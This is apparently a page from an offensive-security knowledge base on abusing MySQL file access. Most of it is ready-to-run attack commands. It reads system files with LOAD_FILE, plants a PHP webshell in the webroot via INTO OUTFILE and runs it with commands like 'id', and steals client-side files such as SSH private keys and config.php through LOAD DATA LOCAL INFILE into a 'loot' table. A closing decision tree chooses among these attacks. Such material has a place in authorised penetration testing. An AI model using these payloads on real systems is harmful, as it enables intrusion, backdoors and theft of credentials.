Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 05. SQL / MySQL

File Access

MySQL file access is usually controlled by the FILE privilege and secure_file_priv.

The most important split:

server-side file access -> MySQL server reads/writes files
client-side file access -> MySQL client reads local files through LOCAL INFILE

Server-Side File Read

Check capability:

SHOW GRANTS FOR CURRENT_USER();
SHOW VARIABLES LIKE 'secure_file_priv';

Read a file:

SELECT LOAD_FILE('/etc/passwd');

Windows example:

SELECT LOAD_FILE('C:/Windows/win.ini');

Requirements:

  • FILE privilege
  • file exists
  • file is readable by the MySQL service account
  • file path is allowed by secure_file_priv when it is set
  • result fits within relevant packet/result limits

Server-Side File Write

Write query output:

SELECT 'test' INTO OUTFILE '/var/lib/mysql-files/test.txt';

Write raw bytes:

SELECT 'test' INTO DUMPFILE '/var/lib/mysql-files/test.bin';

OUTFILE is useful for text output. DUMPFILE is useful when exact bytes matter, such as UDF libraries.

Important behavior:

INTO OUTFILE and INTO DUMPFILE do not overwrite existing files.

Webshell Through OUTFILE

If the webroot is known and writable by the MySQL service account:

SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

Then execute through the web server:

http://TARGET/shell.php?c=id
http://TARGET/shell.php?c=whoami

Windows/XAMPP-style example:

SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE 'C:/xampp/htdocs/shell.php';

If the payload fails, check:

SHOW VARIABLES LIKE 'secure_file_priv';
SELECT LOAD_FILE('/var/www/html/index.php');

The webshell chain requires both database file write and web server execution.


LOCAL INFILE

LOCAL INFILE reads from the client host, not the MySQL server host.

This matters when the client is a web application server, an admin workstation, phpMyAdmin, a CLI client, or any process that connects to the database and permits local infile.

Check:

SHOW VARIABLES LIKE 'local_infile';

Prepare a simple receiving table in the current database:

CREATE TABLE loot(line TEXT);

Commands:

LOAD DATA LOCAL INFILE '/var/www/html/config.php' INTO TABLE loot;

Client-side SSH key theft:

LOAD DATA LOCAL INFILE '/home/victim/.ssh/id_rsa' INTO TABLE loot;

General client-side file read:

LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE loot
FIELDS TERMINATED BY '\n';

Why this is different:

  • Works without FILE privilege.
  • Bypasses server-side secure_file_priv.
  • Reads files from the client-side machine.
  • Requires the client and server workflow to allow LOCAL INFILE.

In a SQL injection chain, the "client" may be the application server's MySQL library. In a phishing or rogue-server chain, the "client" may be an administrator's workstation.


File Access Decision Tree

Need server file read?
  check FILE
  check secure_file_priv
  use LOAD_FILE()

Need server file write?
  check FILE
  check secure_file_priv
  use INTO OUTFILE or DUMPFILE

Need webshell?
  prove webroot path
  prove MySQL service account can write there
  write PHP through OUTFILE

Need client-side file theft?
  check local_infile
  trigger LOAD DATA LOCAL INFILE